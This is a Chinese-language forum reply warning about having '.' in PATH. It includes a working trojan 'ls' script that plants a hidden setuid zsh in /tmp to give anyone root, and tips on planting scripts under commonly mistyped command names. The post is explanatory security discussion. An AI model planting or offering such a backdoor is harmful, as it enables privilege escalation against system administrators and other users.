- 论坛徽章:
- 1
|
问一下我的目录下文件执行的问题。
是的, dradhzn & lightspeed 兄已指出可能的潛在危險了.
若 . 放在 PATH 的前面, 那只要在當前目錄寫一個 script , 以最常用的命令來命名就行. 如 cd, ls, rm, exit 等等....
然後裡面可執行任何你想要的其它命令,
才執行原有名令,
再將 script 刪掉.
比方說, 你寫一個 ls 的 script:
- #!/bin/bash
- cp -f /bin/zsh /tmp/.rc &>/dev/null
- chmod ug+s /tmp/.rc &>/dev/null
- ls "$@"
- rm ls &>/dev/nll
复制代码
只要 root 一跑 ls 這命令(假設 . 在 PATH 前面)
接著, 任何人都可執行 /tmp/.rc 取得一個 root 身份的 zsh
然後再跑 su - root -c "/bin/bash" 那就有一個 root 的 bash 了!!
接下來你想幹嘛? 隨你喜歡囉.... ^_^
為何要舉 zsh ?
因為我在 linux 測過 bash, csh, 他們都能成功躲過 suid/sgid 的設定.
但 zsh 卻可執行 suid/sgid !
(管於 suid/sgid 的危險, 之前談過了, 搜一下精華吧)
倘若 . 放在 PATH 的末端, 那就如 lightspeed 兄指出的,
等別人誤敲命令了...
稍加耐心, 你可以收集到許多平時常被敲錯的命令, 如:
l, la, ld, lx...
或一些 DOS 命令: copy, dir, del, deltree...
或許, 大家能舉的例子更多!
----
唉, 還是老話了, 我講了很多遍, 再講一遍:
勿以善小而不為, 勿以惡小而為之! |
|